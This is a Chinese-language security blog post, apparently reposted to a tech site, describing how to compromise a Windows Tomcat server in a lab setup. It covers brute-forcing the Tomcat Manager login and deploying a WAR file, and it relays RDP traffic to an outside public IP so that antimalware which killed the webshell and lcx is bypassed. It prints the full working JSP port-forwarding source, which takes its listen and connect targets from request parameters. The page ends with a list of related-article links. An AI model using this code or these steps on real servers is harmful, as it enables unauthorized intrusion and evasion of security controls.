通过JSP端口转发拿下服务器权限

简介: 通过JSP端口转发拿下服务器权限
+关注继续查看

这篇文章是@欧根亲王号师傅19年投稿发在星球的,经他同意转发至公众号,内容比较基础。


记得他当时是在本地模拟的一个实战场景来做的这个测试实验(绕过安全防护进行转发)。


0x01 环境简要

目标主机:Widnows

目标防护软件:Antimalware

目标环境:JSP,Tomcat,Apache


本地主机:Windows、Kali

所需工具:Aapache爆破工具,Lcx,JSP代码,公网IP主机一个


所遇见问题:lcx被杀,webshell被杀


0x02 进攻说明

一、爆破登录口令

爆破Tomcat Web Application Manager,这里不做深入说明,大家都懂的


二、上传webshell

由于服务器上防护软件问题,上传的webshell被杀,lcx工具被杀,这里采取以jsp转发端口的形式来绕过


三、准备jsp页面的war包

使用kali把准备好的jsp页面打包,进入jsp页面目录下执行以下命令打包

    jar -cvf aces.war

    image

    四、通过已有webshell创建用户名密码


    五、通过后台部署war包

    image

    六、设置lcx监听本地端口并转发

    使用lcx监听本地55并转发到3399端口上

    image

    七、访问jsp文件,并设置相关转发参数

      参数说明:
      lip=127.0.0.1lp=需要转发的本地端口
      rip=公网监听IP
      rp=公网IP监听的端口号
      m=转发的模式

      image

      image


      0x03 验证

      成功登录,自此本次实验结束

      image


      0x04 JSP源码

      
      <%@page pageEncoding="GBK"%>
      <%@page import="java.io.*"%>
      <%@page import="java.util.*"%>
      <%@page import="java.nio.charset.*"%>
      <%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
      <%@page import="java.net.*"%>
      <%
      /*code by KingX*/
      class KPortTran {
        public void listen(String port1, String port2) {
          ServerSocket listenServerSocket = null;
          ServerSocket outServerSocket = null;
          try {
            listenServerSocket = new ServerSocket(Integer.parseInt(port1));
            outServerSocket = new ServerSocket(Integer.parseInt(port2));
          } catch (NumberFormatException e) {
      
          } catch (IOException e) {
          }
          Socket listenSocket = null;
          Socket outSocket = null;
          try {
            while (true) {  
              listenSocket = listenServerSocket.accept();
              outSocket = outServerSocket.accept();
              new tranThread(outSocket, listenSocket).start();
              new tranThread(listenSocket, outSocket).start();
              Thread.sleep(200);
            }
          } catch (Exception e) {  
          }
        }
      
        public void slave(String targetIP, String port1, String srcIP, String port2) throws IOException {
          InetAddress src = InetAddress.getByName(srcIP);
          InetAddress dest = InetAddress.getByName(targetIP);
          int p1 = Integer.parseInt(port1);
          int p2 = Integer.parseInt(port2);
          new Server(src, p2, dest, p1, true);
        }
      
        public void tran(String srcIP, String port1, String targetIP, String port2)
            throws NumberFormatException, IOException {
          InetAddress src = InetAddress.getByName(srcIP);
          InetAddress dest = InetAddress.getByName(targetIP);
          int p1 = Integer.parseInt(port1);
          int p2 = Integer.parseInt(port2);
          new Server(src, p1, dest, p2, false);
        }
      class tranThread extends Thread {
        Socket in;
        Socket out;
        InputStream is;
        OutputStream os;
        public tranThread(Socket in, Socket out) throws IOException {
          this.is = in.getInputStream();
          this.os = out.getOutputStream();
          this.in = in;
          this.out = out;
        }
      
        private void closeSocket() {
          try {
            is.close();
            os.close();
            in.close();
            out.close();
          } catch (IOException e) {
          }
        }
        @Override
        public void run() {
          super.run();
          byte[] buffer = new byte[4096];
          int len = -1;
          try {
            while (true) {
              if (in.isClosed() || out.isClosed()|| (len = is.read(buffer, 0, buffer.length)) == -1) {
                break;
              } else {
                os.write(buffer, 0, len);
                os.flush();  
              }
            }
          } catch (IOException e) {
            closeSocket();
          } finally {
            closeSocket();
          }
        }
      }
      
      
      class Server extends Thread {
        InetAddress src;
        InetAddress dest;
        int p1, p2;
        boolean reverse = false;
      
        public Server(InetAddress srcIP, int srcPort, InetAddress targetIP,
            int targetPort, boolean flag) {
          this.src = srcIP;
          this.dest = targetIP;
          this.p1 = srcPort;
          this.p2 = targetPort;
          this.reverse = flag;
          start();
        }
      
        @Override
        public void run() {
          super.run();
          if (reverse) {
            try {
              Socket s = new Socket(src, p1);
              Socket s2 = new Socket(dest, p2);
              new tranThread(s, s2).start();
              new tranThread(s2, s).start();
      
              while (true) {
                if (s2.isClosed() || s.isClosed()) {
                  if (s2.isClosed()) {
                    s2 = new Socket(dest, p2);
                  }
                  if (s.isClosed()) {
                    s = new Socket(src, p1);
                  }
                  new tranThread(s, s2).start();
                  new tranThread(s2, s).start();
                }
                Thread.sleep(1000);
              }
            } catch (IOException e) {
            } catch (InterruptedException e) {
            }
      
          } else {
            ServerSocket ss;
            try {
              ss = new ServerSocket(p1, 5, src);
      
              while (true) {
                Socket s = ss.accept();
                Socket s2 = new Socket(dest, p2);
                new tranThread(s, s2).start();
                new tranThread(s2, s).start();
              }
            } catch (IOException e) {
              e.printStackTrace();
            }
          }
        }
      }
      }
      %>
      <%
      final String localIP = request.getParameter("lip");
      final String localPort = request.getParameter("lp");
      final String localPort2 = request.getParameter("lp2");
      final String remoteIP =request.getParameter("rip");
      final String remotePort =request.getParameter("rp");
      final String mode =request.getParameter("m");
      
      KPortTran pt = new KPortTran();
      if (mode.equals("tran")) {
        pt.tran(localIP, localPort, remoteIP , remotePort);
      }
      if (mode.equals("slave")) {
        pt.slave(localIP, localPort, remoteIP , remotePort);
      }
      if (mode.equals("listen")) {
        pt.listen(localPort, localPort2);
      }
      
      %>
      相关文章
      |
      10月前
      |
      监控 安全 网络协议
      windows服务器权限分析
      windows服务器权限分析
      132 0
      windows服务器权限分析
      |
      11月前
      文件复制到ftp服务器时发生错误,请检查是否有权限将文件放到该服务器上
      文件复制到ftp服务器时发生错误,请检查是否有权限将文件放到该服务器上
      3971 0
      |
      11月前
      |
      SQL 存储 Windows
      微软SQL 2019,“无法连接到WMI提供程序,您没有权限或者该服务器无法访问”
      微软SQL 2019,解决“无法连接到WMI提供程序,您没有权限或者该服务器无法访问”的方法
      103 0
      微软SQL 2019,“无法连接到WMI提供程序,您没有权限或者该服务器无法访问”
      |
      11月前
      |
      Linux
      Linux 服务器报错Permission denied: ‘/root/.cache‘ ,PYTHON_EGG_CACHE无权限的问题
      Linux 服务器报错Permission denied: ‘/root/.cache‘ ,PYTHON_EGG_CACHE无权限的问题
      Linux 服务器报错Permission denied: ‘/root/.cache‘ ,PYTHON_EGG_CACHE无权限的问题
      |
      12月前
      |
      C++
      VS 无法在web服务器上启动调试。您没有调试web服务器进程的权限
      VS 无法在web服务器上启动调试。您没有调试web服务器进程的权限
      217 0
      VS 无法在web服务器上启动调试。您没有调试web服务器进程的权限
      |
      安全 网络安全 数据安全/隐私保护
      IIS安全:配置web服务器权限更好地实现访问控制
      IIS安全:配置web服务器权限更好地实现访问控制
      233 1
      |
      安全 Windows
      windows服务器给某个文件目录增加最高权限方法
      windows服务器给某个文件目录增加最高权限方法
      239 0
      windows服务器给某个文件目录增加最高权限方法
      |
      安全 Java API
      PublicCMS 网站漏洞 任意文件写入并可提权服务器权限
      PublicCMS是目前网站系统中第一个采用JAVA架构 TOMCAT+Apcche+Mysql数据库架构的CMS网站,开源,数据承载量大,可以承载到上千万的数据量,以及用户的网站并发可达到上千万的PV,PublicCMS静态全站html,访问速度极快,模板样式多,可自己设计,第三方的API接口也很多,深受网站运营者的喜欢。最重要的是开源,免费升级,支持动静分离,数据库及时备份等功能。
      482 0
      PublicCMS 网站漏洞 任意文件写入并可提权服务器权限
      |
      Windows
      Windows 技术篇-文件管理器访问ftp服务失败,提示:“打开FTP服务器上的文件夹是发生错误,请检查是否有权限访问该文件夹。”问题解决方法
      Windows 技术篇-文件管理器访问ftp服务失败,提示:“打开FTP服务器上的文件夹是发生错误,请检查是否有权限访问该文件夹。”问题解决方法
      1154 0
      Windows 技术篇-文件管理器访问ftp服务失败,提示:“打开FTP服务器上的文件夹是发生错误,请检查是否有权限访问该文件夹。”问题解决方法
      |
      Shell Linux
      Linux服务器运行sh文件提示权限不够解决方法?飞腾服务器Permission denied问题授权方法
      Linux服务器运行sh文件提示权限不够解决方法?飞腾服务器Permission denied问题授权方法
      1015 0
      Linux服务器运行sh文件提示权限不够解决方法?飞腾服务器Permission denied问题授权方法
      相关产品
      云迁移中心
      推荐文章
      更多